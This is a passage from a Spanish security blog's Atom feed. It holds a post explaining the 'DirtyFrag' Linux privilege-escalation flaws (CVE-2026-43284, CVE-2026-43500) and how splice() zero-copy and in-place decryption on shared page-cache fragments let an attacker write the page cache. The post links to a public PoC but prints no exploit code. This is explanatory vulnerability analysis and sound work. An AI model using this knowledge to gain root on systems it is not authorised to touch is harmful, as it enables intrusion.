<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-9133539773684103848</id><updated>2026-05-14T10:00:47.487+02:00</updated><category term="herramientas"/><category term="vulnerabilidades"/><category term="técnicas"/><category term="malware"/><category term="noticias"/><category term="Windows"/><category term="red team"/><category term="linux"/><category term="amenazas"/><category term="redes"/><category term="python"/><category term="recopilatorios"/><category term="videos"/><category term="tutoriales"/><category term="curiosidades"/><category term="retos"/><category term="código abierto"/><category term="eventos"/><category term="exploits"/><category term="pentest"/><category term="android"/><category term="recursos"/><category term="seguridad web"/><category term="hardware"/><category term="fortificación"/><category term="hacktivismo"/><category term="metasploit"/><category term="forense"/><category term="cifrado"/><category term="ingeniería inversa"/><category term="powershell"/><category term="0 day"/><category term="recomendaciones"/><category term="privacidad"/><category term="anonimato"/><category term="contramedidas"/><category term="magazines"/><category term="programación"/><category term="antivirus"/><category term="cracking"/><category term="writeups"/><category term="esteganografía"/><category term="libros"/><category term="post-explotación"/><category term="escalado de privilegios"/><category term="gadgets"/><category term="dos"/><category term="ransomware"/><category term="formación"/><category term="apple"/><category term="leak"/><category term="h-c0n"/><category term="backdoor"/><category term="raspberry pi"/><category term="series"/><category term="humor"/><category term="Go"/><category term="bypass"/><category term="hacking"/><category term="utilidades"/><category term="Internet de las cosas"/><category term="ctf"/><category term="pwned"/><category term="contraseñas"/><category term="exploiting"/><category term="poc"/><category term="tor"/><category term="C#"/><category term="criptografia"/><category term="firewalls"/><category term="IA"/><category term="OSCP"/><category term="concursos"/><category term="encuestas"/><category term="exfiltración de datos"/><category term="hackthebox"/><category term="reversing"/><category term="C"/><category term="blue team"/><category term="ciberguerra"/><category term="maldev"/><category term="wi-fi"/><category term="bug bounty"/><category term="contribuciones"/><category term="infografías"/><category term="DA"/><category term="edr"/><category term="phishing"/><category term="Deep Web"/><category term="c2"/><category term="docker"/><category term="honeypots"/><category term="relatos"/><category term="certificaciones"/><category term="inteligencia artificial"/><category term="inyecciones SQL"/><category term="lock picking"/><category term="threat hunting"/><category term="vpn"/><category term="AI"/><category term="Directorio Activo"/><category term="IoT"/><category term="WhatsApp"/><category term="bash"/><category term="bof"/><category term="defaces"/><category term="laboratorio"/><category term="metadatos"/><category term="ruby"/><category term="threat intelligence"/><category term="trucos"/><category term="virtualización"/><category term="wireless"/><category term="conferencia"/><category term="drones"/><category term="labs"/><category term="php"/><category term="pivoting"/><category term="reverse shell"/><category term="rootkits"/><category term=".NET"/><category term="ICS"/><category term="SCADA"/><category term="boot2root"/><category term="entrevistas"/><category term="evasion"/><category term="fuerza bruta"/><category term="ingenieria social"/><category term="legislación"/><category term="metodologías"/><category term="reconocimiento"/><category term="seguridad gestionada"/><category term="webshells"/><category term="LLM"/><category term="base de datos"/><category term="dns"/><category term="espionaje"/><category term="java"/><category term="off-topic"/><category term="rust"/><category term="xss"/><category term="anonymous"/><category term="bitcoins"/><category term="captchas"/><category term="censura"/><category term="cloud"/><category term="keyloggers"/><category term="persistencia"/><category term="taller"/><category term="NFC"/><category term="Twitter"/><category term="botnet"/><category term="cibercrimen"/><category term="ciberinteligencia"/><category term="ciberseguridad"/><category term="comunicaciones"/><category term="credenciales"/><category term="dark web"/><category term="empire"/><category term="flash"/><category term="geolocalización"/><category term="investigaciones"/><category term="ipv6"/><category term="javascript"/><category term="juegos"/><category term="normativas"/><category term="payloads"/><category term="radio"/><category term="shodan"/><category term="waf"/><category term="ROP"/><category term="bloodhound"/><category term="c++"/><category term="crowdfunding"/><category term="código fuente"/><category term="dfir"/><category term="movilidad"/><category term="móvil"/><category term="nodejs"/><category term="ofuscadas"/><category term="opinión"/><category term="películas"/><category term="rce"/><category term="wikileaks"/><category term="APT"/><category term="OT"/><category term="análisis"/><category term="arduino"/><category term="charlas"/><category term="cheatsheets"/><category term="ciberseguridad industrial"/><category term="enumeración"/><category term="explotación"/><category term="foca"/><category term="hoax"/><category term="jailbreak"/><category term="latch"/><category term="osint"/><category term="papers"/><category term="perl"/><category term="proxmox"/><category term="serialización"/><category term="sistemas operativos"/><category term="software libre"/><category term="telegram"/><category term="wordpress"/><category term="Applocker"/><category term="CLR"/><category term="COR"/><category term="Defcon"/><category term="FUD"/><category term="LFI"/><category term="Onion"/><category term="Profiler"/><category term="ansible"/><category term="backup"/><category term="badusb"/><category term="bancos"/><category term="bios"/><category term="bluetooth"/><category term="boot"/><category term="comunidad"/><category term="condición de carrera"/><category term="contenedores"/><category term="crypters"/><category term="crystal"/><category term="ddos"/><category term="deepfake"/><category term="documentales"/><category term="domótica"/><category term="drupal"/><category term="electrónica"/><category term="excel"/><category term="fuzzing"/><category term="git"/><category term="hashes"/><category term="ids"/><category term="lua"/><category term="maldoc"/><category term="maps"/><category term="misc"/><category term="navegador"/><category term="podcast"/><category term="promociones"/><category term="redes neuronales"/><category term="responsible disclosure"/><category term="retro"/><category term="robótica"/><category term="seguridad física"/><category term="shellcode"/><category term="ssh"/><category term="trabajo"/><category term="trivial"/><category term="voip"/><category term="vulnhub"/><category term="wifi"/><category term="AWS"/><category term="AiTM"/><category term="AutoIt"/><category term="Azure"/><category term="COM"/><category term="CyberChef"/><category term="DIY"/><category term="DLP"/><category term="DORA"/><category term="Defender"/><category term="ESMA"/><category term="Exchange"/><category term="Internet"/><category term="LPE"/><category term="MCP"/><category term="MITRE"/><category term="MOOC"/><category term="RFP"/><category term="RTS"/><category term="SEO"/><category term="SIEM"/><category term="SSL"/><category term="Stuxnet"/><category term="TLPT"/><category term="TTPs"/><category term="TTS"/><category term="WMI"/><category term="Xen"/><category term="academy"/><category term="agente"/><category term="asm"/><category term="badges"/><category term="bilingual-post"/><category term="biohacking"/><category term="bitlocker"/><category term="blockchain"/><category term="brainfuck"/><category term="brechas"/><category term="bullying"/><category term="burp"/><category term="call for papers"/><category term="canape"/><category term="car hacking"/><category term="ciberejercicios"/><category term="ciencia"/><category term="clonación de voz"/><category term="cobaltstrike"/><category term="comunicacion"/><category term="concienciación"/><category term="control parental"/><category term="covert channel"/><category term="cyberpunk"/><category term="cyberwar"/><category term="delphi"/><category term="detección"/><category term="devops"/><category term="dorks"/><category term="downgrade"/><category term="dpi"/><category term="e-zines"/><category term="embodied AI"/><category term="empleo"/><category term="ensamblador"/><category term="entraID"/><category term="expresiones regulares"/><category term="firebase"/><category term="firmware"/><category term="foro"/><category term="frameworks"/><category term="fraude"/><category term="frikismo"/><category term="gamers"/><category term="geek"/><category term="geopolítica"/><category term="hardware hacking"/><category term="hibrido"/><category term="hijacking"/><category term="htb"/><category term="huevos de pascua"/><category term="iOS"/><category term="impresión 3d"/><category term="incident response"/><category term="infraestructuras críticas"/><category term="internals"/><category term="iocs"/><category term="ironpython"/><category term="joomla"/><category term="lolbins"/><category term="machine learning"/><category term="memory corruption"/><category term="militar"/><category term="newbie"/><category term="nim"/><category term="old but gold"/><category term="opsec"/><category term="pederastia"/><category term="perifericos"/><category term="pki"/><category term="prank"/><category term="prompts"/><category term="purple team"/><category term="rat"/><category term="redteam"/><category term="regalos"/><category term="relay"/><category term="revisión de código"/><category term="rfid"/><category term="riesgos"/><category term="routers"/><category term="rsa"/><category term="sap"/><category term="satelites"/><category term="satélites"/><category term="script"/><category term="sexting"/><category term="shell"/><category term="sinkholing"/><category term="solar"/><category term="spam"/><category term="ss7"/><category term="supercomputación"/><category term="supply chain attack"/><category term="tendencias"/><category term="terraform"/><category term="threat actor"/><category term="tracking"/><category term="uac"/><category term="uefi"/><category term="underground"/><category term="unix"/><category term="use-after-free"/><category term="uxss"/><category term="vagrant"/><category term="vba"/><category term="videojuegos"/><category term="vigenere"/><category term="volatility"/><category term="xbox"/><category term="xxe"/><category term="yara"/><title type='text'>~#hackplayers</title><subtitle type='html'>Computer security, ethical hacking and more!</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='https://www.hackplayers.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default?max-results=10'/><link rel='alternate' type='text/html' href='https://www.hackplayers.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default?start-index=11&amp;max-results=10'/><author><name>Vicente Motos</name><uri>http://www.blogger.com/profile/03053036399006390105</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVEWEmNj--NFGI_Y_2STA7IMLfue6x71mRjQrvjGe12QsgVS-J1ZQnMaKmxQ_I45QgRmcb3sVqCKMQItltfuazSJeQ3OhyaaqSlUaUM0mJYwEBFXRXKxKVydd8XYCQnA/s220/CameraFun+-+2011-02-10+23.00.34.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>2505</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>10</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-9133539773684103848.post-8328748388060802172</id><published>2026-05-12T00:57:00.004+02:00</published><updated>2026-05-12T01:17:42.295+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="escalado de privilegios"/><category scheme="http://www.blogger.com/atom/ns#" term="exploits"/><category scheme="http://www.blogger.com/atom/ns#" term="linux"/><category scheme="http://www.blogger.com/atom/ns#" term="LPE"/><category scheme="http://www.blogger.com/atom/ns#" term="vulnerabilidades"/><title type='text'>De copy-fail a DirtyFrag: cuando el zero-copy rompe el modelo de seguridad</title><content type='html'>&lt;p&gt;En Linux, la &lt;b&gt;page cache &lt;/b&gt;actúa como una capa intermedia entre disco y memoria. Cuando un archivo se lee, normalmente sus páginas quedan cacheadas en RAM. La gracia es que múltiples componentes del kernel pueden referenciar la misma página física sin copiar datos constantemente.&lt;/p&gt;&lt;p&gt;Eso es exactamente lo que hace splice(). En vez de:&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: courier;&quot;&gt;file → kernel buffer → userspace → socket,&lt;/span&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;b&gt;splice()&lt;/b&gt; intenta hacer:&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: courier;&quot;&gt;file page cache → pipe buffer → socket buffer,&lt;/span&gt; sin copias intermedias.&amp;nbsp;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWARkuD1A-HtYB6IEgV-m4CVFnNktoobs72xFUwrSJC66RYUCDmV6sDrFLpyCirQ1Hiikdkl3q4f_DeDAjhFW1BnMIs5L149v-sxO1DFXZIr35eSsrfr6Fib9xpV1fzN5i0YG8McfKIjWQm1WmBxKpNmQVu7OiUo0V12ynIwCjCdmmGgpFKn37ltDEGPkf/s1402/pagecache_y_splice.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1122&quot; data-original-width=&quot;1402&quot; height=&quot;512&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWARkuD1A-HtYB6IEgV-m4CVFnNktoobs72xFUwrSJC66RYUCDmV6sDrFLpyCirQ1Hiikdkl3q4f_DeDAjhFW1BnMIs5L149v-sxO1DFXZIr35eSsrfr6Fib9xpV1fzN5i0YG8McfKIjWQm1WmBxKpNmQVu7OiUo0V12ynIwCjCdmmGgpFKn37ltDEGPkf/w640-h512/pagecache_y_splice.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;Como veis pasamos de:&lt;div&gt;&lt;h3 data-end=&quot;333&quot; data-section-id=&quot;lrokd3&quot; data-start=&quot;314&quot;&gt;🔹 file (disco)&lt;/h3&gt;
&lt;p data-end=&quot;362&quot; data-start=&quot;334&quot;&gt;El archivo vive en el disco.&lt;/p&gt;
&lt;h3 data-end=&quot;384&quot; data-section-id=&quot;ruhq49&quot; data-start=&quot;364&quot;&gt;🔹 kernel buffer&lt;/h3&gt;
&lt;p data-end=&quot;418&quot; data-start=&quot;385&quot;&gt;Cuando haces &lt;code data-end=&quot;406&quot; data-start=&quot;398&quot;&gt;read()&lt;/code&gt;, el kernel:&lt;/p&gt;
&lt;ul data-end=&quot;478&quot; data-start=&quot;419&quot;&gt;
&lt;li data-end=&quot;444&quot; data-section-id=&quot;16phjf6&quot; data-start=&quot;419&quot;&gt;
lee el bloque del disco
&lt;/li&gt;
&lt;li data-end=&quot;478&quot; data-section-id=&quot;1fbjtec&quot; data-start=&quot;445&quot;&gt;
lo mete en un buffer del kernel
&lt;/li&gt;
&lt;/ul&gt;&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;
&lt;h3 data-end=&quot;496&quot; data-section-id=&quot;t3cp9z&quot; data-start=&quot;480&quot;&gt;🔹 userspace&lt;/h3&gt;
&lt;p data-end=&quot;532&quot; data-start=&quot;497&quot;&gt;Luego, para que tu programa lo use:&lt;/p&gt;
&lt;ul data-end=&quot;632&quot; data-start=&quot;533&quot;&gt;
&lt;li data-end=&quot;592&quot; data-section-id=&quot;1e3le1x&quot; data-start=&quot;533&quot;&gt;
el kernel &lt;strong data-end=&quot;565&quot; data-start=&quot;545&quot;&gt;copia esos datos&lt;/strong&gt; desde el buffer del kernel
&lt;/li&gt;
&lt;li data-end=&quot;632&quot; data-section-id=&quot;19n9bvu&quot; data-start=&quot;593&quot;&gt;
hacia memoria de usuario (tu proceso)
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;647&quot; data-section-id=&quot;o5zy7b&quot; data-start=&quot;634&quot;&gt;🔹 socket&lt;/h3&gt;
&lt;p data-end=&quot;685&quot; data-start=&quot;648&quot;&gt;Si luego haces &lt;code data-end=&quot;672&quot; data-start=&quot;663&quot;&gt;write()&lt;/code&gt; a un socket:&lt;/p&gt;
&lt;ul data-end=&quot;798&quot; data-start=&quot;686&quot;&gt;
&lt;li data-end=&quot;730&quot; data-section-id=&quot;7d6g9q&quot; data-start=&quot;686&quot;&gt;
vuelves a copiar los datos desde userspace
&lt;/li&gt;
&lt;li data-end=&quot;768&quot; data-section-id=&quot;83ykef&quot; data-start=&quot;731&quot;&gt;
hacia buffers del kernel del socket
&lt;/li&gt;
&lt;li data-end=&quot;798&quot; data-section-id=&quot;vzeyao&quot; data-start=&quot;769&quot;&gt;
y finalmente salen a la red
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;813&quot; data-start=&quot;800&quot;&gt;Resultado:&lt;/p&gt;
&lt;ul data-end=&quot;872&quot; data-start=&quot;814&quot;&gt;
&lt;li data-end=&quot;843&quot; data-section-id=&quot;6lszs4&quot; data-start=&quot;814&quot;&gt;
varias copias grandes de memoria
&lt;/li&gt;
&lt;li data-end=&quot;872&quot; data-section-id=&quot;1i8du1b&quot; data-start=&quot;844&quot;&gt;
CPU gastada moviendo bytes&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;A:&lt;/p&gt;&lt;h3 data-end=&quot;1094&quot; data-section-id=&quot;mkjz23&quot; data-start=&quot;1072&quot;&gt;🔹 file page cache&lt;/h3&gt;&lt;p data-end=&quot;1123&quot; data-start=&quot;1095&quot;&gt;Cuando Linux lee un archivo:&lt;/p&gt;&lt;ul data-end=&quot;1194&quot; data-start=&quot;1124&quot;&gt;
&lt;li data-end=&quot;1156&quot; data-section-id=&quot;d4037a&quot; data-start=&quot;1124&quot;&gt;
lo guarda en la &lt;strong data-end=&quot;1156&quot; data-start=&quot;1142&quot;&gt;page cache&lt;/strong&gt;
&lt;/li&gt;
&lt;li data-end=&quot;1194&quot; data-section-id=&quot;croj5w&quot; data-start=&quot;1157&quot;&gt;
que es RAM compartida por el kernel
&lt;/li&gt;
&lt;/ul&gt;&lt;p data-end=&quot;1269&quot; data-start=&quot;1196&quot;&gt;Esto es clave: varios subsistemas pueden usar &lt;em data-end=&quot;1269&quot; data-start=&quot;1245&quot;&gt;la misma página física&lt;/em&gt;&lt;/p&gt;&lt;h3 data-end=&quot;1294&quot; data-section-id=&quot;16mkg26&quot; data-start=&quot;1276&quot;&gt;🔹 pipe buffer&lt;/h3&gt;&lt;p data-end=&quot;1357&quot; data-start=&quot;1295&quot;&gt;&lt;code data-end=&quot;1305&quot; data-start=&quot;1295&quot;&gt;splice()&lt;/code&gt; introduce un pipe como “intermediario inteligente”:&lt;/p&gt;&lt;ul data-end=&quot;1442&quot; data-start=&quot;1358&quot;&gt;
&lt;li data-end=&quot;1382&quot; data-section-id=&quot;1wi05q8&quot; data-start=&quot;1358&quot;&gt;
en vez de copiar datos
&lt;/li&gt;
&lt;li data-end=&quot;1442&quot; data-section-id=&quot;1gkvs0d&quot; data-start=&quot;1383&quot;&gt;
el pipe guarda &lt;strong data-end=&quot;1442&quot; data-start=&quot;1400&quot;&gt;referencias a páginas de la page cache&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;&lt;h3 data-end=&quot;1469&quot; data-section-id=&quot;1v7kuyv&quot; data-start=&quot;1449&quot;&gt;🔹 socket buffer&lt;/h3&gt;&lt;p data-end=&quot;1486&quot; data-start=&quot;1470&quot;&gt;Luego el socket:&lt;/p&gt;&lt;ul data-end=&quot;1539&quot; data-start=&quot;1487&quot;&gt;
&lt;li data-end=&quot;1517&quot; data-section-id=&quot;hujddy&quot; data-start=&quot;1487&quot;&gt;
toma esas mismas referencias
&lt;/li&gt;
&lt;li data-end=&quot;1539&quot; data-section-id=&quot;1gshjk0&quot; data-start=&quot;1518&quot;&gt;
y las envía por red
&lt;/li&gt;
&lt;/ul&gt;&lt;p data-end=&quot;1555&quot; data-start=&quot;1541&quot;&gt;Importante:&lt;/p&gt;&lt;p&gt;












&lt;/p&gt;&lt;ul data-end=&quot;1631&quot; data-start=&quot;1556&quot;&gt;
&lt;li data-end=&quot;1589&quot; data-section-id=&quot;hhoc1y&quot; data-start=&quot;1556&quot;&gt;
no se copian bytes entre etapas
&lt;/li&gt;
&lt;li data-end=&quot;1631&quot; data-section-id=&quot;1f9iefv&quot; data-start=&quot;1590&quot;&gt;
solo se “re-enlazan” páginas de memoria&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Esto mejora muchísimo el rendimiento, pero introduce una propiedad peligrosa: varios subsistemas comparten referencias al mismo backing memory. Y aquí empiezan los problemas.&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXi9xX1IUBg1recOFEpT8qCOEzuAOh06EQoFQAGBXW1z8OQN-Ei7-XGI6TCdlrWdMi6DPhksjejNhDBAToQQSKTqw_HIl1J8Q4RHeGMlIEYjyb-hteFNB3666tysQUjHFzyshYZT0to1WaOAetHlIeou5fbeMPd8-LMhaHWMGdHKTiBXXhw-szqQEBPFjj/s1536/sharedfrags.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1024&quot; data-original-width=&quot;1536&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXi9xX1IUBg1recOFEpT8qCOEzuAOh06EQoFQAGBXW1z8OQN-Ei7-XGI6TCdlrWdMi6DPhksjejNhDBAToQQSKTqw_HIl1J8Q4RHeGMlIEYjyb-hteFNB3666tysQUjHFzyshYZT0to1WaOAetHlIeou5fbeMPd8-LMhaHWMGdHKTiBXXhw-szqQEBPFjj/s16000/sharedfrags.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt;Como veis, un &lt;code&gt;skb&lt;/code&gt; puede contener fragments que apuntan a páginas compartidas. Eso es perfectamente válido SI nadie modifica destructivamente la página. Pero si tenemos múltiples referencias válidas que apuntan a la misma página y una ruta modifica “in-place” evidentemente la modificación impacta el page cache compartido. Y es precisamente lo que hace esta nueva vulnerabilidad bautizada como &lt;b&gt;dirty frag&lt;/b&gt;: decrypt-in-place (decrypt directamente encima) sobre shared fragments para escribir el page cache.&lt;/p&gt;&lt;p&gt;Actualmente el ecosistema converge en dos CVEs principales asociadas a la cadena DirtyFrag. La primera es &lt;b&gt;CVE‑2026‑43284&lt;/b&gt;, relacionada con el path ESP/XFRM (&lt;code&gt;esp4&lt;/code&gt; y &lt;code&gt;esp6&lt;/code&gt;). La segunda es &lt;b&gt;CVE‑2026‑43500&lt;/b&gt;, relacionada con RxRPC.&lt;/p&gt;&lt;h3 style=&quot;text-align: left;&quot;&gt;Variante ESP&lt;/h3&gt;&lt;p&gt;En la variante ESP, el problema parece relativamente delimitado. El networking stack reutiliza fragments compartidos dentro de SKBs y posteriormente ejecuta decrypt-in-place sobre memoria que puede seguir referenciada desde page cache o desde otros contexts del kernel. El parche principal para CVE‑2026‑43284 introduce validaciones alrededor de &lt;code&gt;SKBFL_SHARED_FRAG&lt;/code&gt; y evita que ciertas rutas operen destructivamente sobre fragments compartidos. Conceptualmente, el fix transforma una operación “decrypt sobre memoria compartida” en una secuencia copy-on-write más segura. Esto explica por qué la variante ESP pudo corregirse relativamente rápido: el ownership problem estaba localizado y el fix era relativamente quirúrgico.&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0Z6Dil3Z4HHXKwtwDbJxnfaveopzhE-CdxKI_6SeAMbx6zvJPvpjmZYCjNGGghhEbjmLVwINC2rESMmb3TbB11glzo64wwVUq-bTJlm4oRh-QqzgXyyXGWKc6pxAIHzf1G5-hmgpeNGvkL-dIJLDXh_ibGdZnLfQiLAiNSaeuO-Y5IaGS-0QfhVoaH6sN/s1536/dirtyfrag_esp.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1024&quot; data-original-width=&quot;1536&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0Z6Dil3Z4HHXKwtwDbJxnfaveopzhE-CdxKI_6SeAMbx6zvJPvpjmZYCjNGGghhEbjmLVwINC2rESMmb3TbB11glzo64wwVUq-bTJlm4oRh-QqzgXyyXGWKc6pxAIHzf1G5-hmgpeNGvkL-dIJLDXh_ibGdZnLfQiLAiNSaeuO-Y5IaGS-0QfhVoaH6sN/s16000/dirtyfrag_esp.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;h3 style=&quot;text-align: left;&quot;&gt;Variante RxRPC&lt;/h3&gt;&lt;p&gt;La situación de CVE‑2026‑43500 es mucho más interesante. RxRPC históricamente es un subsistema poco auditado, relativamente complejo y con semánticas de ownership bastante delicadas alrededor de fragmentos de SKBs, buffers de red y procesamiento asíncrono. De hecho este CVE no es un solo bug simple, sino una &lt;strong data-end=&quot;350&quot; data-start=&quot;263&quot;&gt;familia de vulnerabilidades en RxRPC con distintas “capas de seguridad” explotables&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;Mientras que la variante original de Hyunwoo Kim usa &lt;b&gt;RxKAD&lt;/b&gt; y el esquema pcbc(fcrypt) recientemente&amp;nbsp;&lt;a href=&quot;https://ikotaslabs.com/news/2026-05-11?lang=en&quot; target=&quot;_blank&quot;&gt;Ikotas Labs&lt;/a&gt; ha publicado una variante con&amp;nbsp;&lt;b&gt;RxGX, otro &quot;security class&quot;.&lt;/b&gt;&amp;nbsp;En concreto, su análisis apunta a que la operación de desencriptado AEAD en &lt;code data-end=&quot;336&quot; data-start=&quot;316&quot;&gt;rxgk_decrypt_skb()&lt;/code&gt; no solo transforma datos dentro de un buffer de red, sino que lo hace sobre una región de memoria que puede estar indirectamente respaldada por page cache derivada de &lt;code data-end=&quot;514&quot; data-start=&quot;504&quot;&gt;splice()&lt;/code&gt;. Esto introduce un escenario especialmente delicado: la misma página física puede estar simultáneamente representada en distintos niveles del stack con supuestos de mutabilidad incompatibles entre sí.&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjk0TW6Q_NWAguMnmsY8mOUoHhS4O40LpoB_mirVm4KrYzxTYSQi6tCU-FZxOpOmt5hXc5jdn3pBiDFZdt5_97zfp4XnkmiD5ralMWVbdL4G5zwwAPz-yz8xlG0G34eNWBC6g_UHyUOVKdbR_GEIaE_ZIOJvOzER4gfDAzBwXfNgRupqTUGuHlhCzHQr6ZN/s1536/dirtyfrag_rxrpc.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1024&quot; data-original-width=&quot;1536&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjk0TW6Q_NWAguMnmsY8mOUoHhS4O40LpoB_mirVm4KrYzxTYSQi6tCU-FZxOpOmt5hXc5jdn3pBiDFZdt5_97zfp4XnkmiD5ralMWVbdL4G5zwwAPz-yz8xlG0G34eNWBC6g_UHyUOVKdbR_GEIaE_ZIOJvOzER4gfDAzBwXfNgRupqTUGuHlhCzHQr6ZN/s16000/dirtyfrag_rxrpc.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;p data-end=&quot;1265&quot; data-start=&quot;717&quot;&gt;En términos prácticos, esto significa que el kernel puede entrar en una situación donde un fragmento de memoria sigue siendo considerado “seguro para lectura compartida” por un subsistema, mientras otro lo trata como “buffer privado modificable en contexto criptográfico”. Esa divergencia de modelos es precisamente lo que convierte la operación in-place en algo peligroso: no es que la escritura ocurra en un lugar inesperado, sino que el sistema ya no tiene una noción consistente de qué partes del estado son realmente inmutables en ese momento.&lt;/p&gt;&lt;p data-end=&quot;1265&quot; data-start=&quot;717&quot;&gt;En conjunto, ambas CVEs ilustran una evolución interesante en la superficie de ataque del kernel Linux. Ya no se trata únicamente de encontrar corrupción de memoria en estructuras individuales, sino de identificar lugares donde el sistema pierde coherencia sobre el estado de la memoria compartida. Y en ese espacio intermedio —entre page cache, zero-copy y crypto in-place— es donde parece estar emergiendo una nueva generación de primitives de explotación mucho más sutiles y, potencialmente, más difíciles de erradicar.&lt;/p&gt;&lt;p data-end=&quot;1265&quot; data-start=&quot;717&quot;&gt;&lt;b&gt;PoC:&lt;/b&gt;&amp;nbsp;&lt;a href=&quot;https://github.com/V4bel/dirtyfrag&quot;&gt;https://github.com/V4bel/dirtyfrag&lt;/a&gt;&lt;/p&gt;&lt;p data-end=&quot;1265&quot; data-start=&quot;717&quot;&gt;&lt;b&gt;Referencias:&lt;/b&gt;&lt;/p&gt;&lt;p data-end=&quot;1265&quot; data-start=&quot;717&quot;&gt;&lt;/p&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;li&gt;&lt;a href=&quot;https://www.bleepingcomputer.com/news/security/new-linux-dirty-frag-zero-day-with-poc-exploit-gives-root-privileges/&quot;&gt;https://www.bleepingcomputer.com/news/security/new-linux-dirty-frag-zero-day-with-poc-exploit-gives-root-privileges/&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.helpnetsecurity.com/2026/05/08/dirty-frag-linux-vulnerability-cve-2026-43284-cve-2026-43500/&quot;&gt;https://www.helpnetsecurity.com/2026/05/08/dirty-frag-linux-vulnerability-cve-2026-43284-cve-2026-43500/&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.cyberaccord.com/dirty-frag-linux-vulnerability-let-attackers-gain-root-privileges-on-most-linux-distributions/&quot;&gt;https://www.cyberaccord.com/dirty-frag-linux-vulnerability-let-attackers-gain-root-privileges-on-most-linux-distributions/&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.qualys.com/product-tech/vulnmgmt-detection-response/2026/05/09/dirty-frag-using-the-page-caches-as-an-attack-surface&quot;&gt;https://blog.qualys.com/product-tech/vulnmgmt-detection-response/2026/05/09/dirty-frag-using-the-page-caches-as-an-attack-surface&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.tomshardware.com/tech-industry/cyber-security/dirty-frag-exploit-gets-root-on-most-linux-machines-since-2017-no-patches-available-no-warning-given-copy-fail-like-vulnerability-had-its-embargo-broken&quot;&gt;https://www.tomshardware.com/tech-industry/cyber-security/dirty-frag-exploit-gets-root-on-most-linux-machines-since-2017-no-patches-available-no-warning-given-copy-fail-like-vulnerability-had-its-embargo-broken&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;/p&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='https://www.hackplayers.com/feeds/8328748388060802172/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://www.hackplayers.com/2026/05/dirtyfrag-cuando-el-zero-copy-rompe-modelo.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default/8328748388060802172'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default/8328748388060802172'/><link rel='alternate' type='text/html' 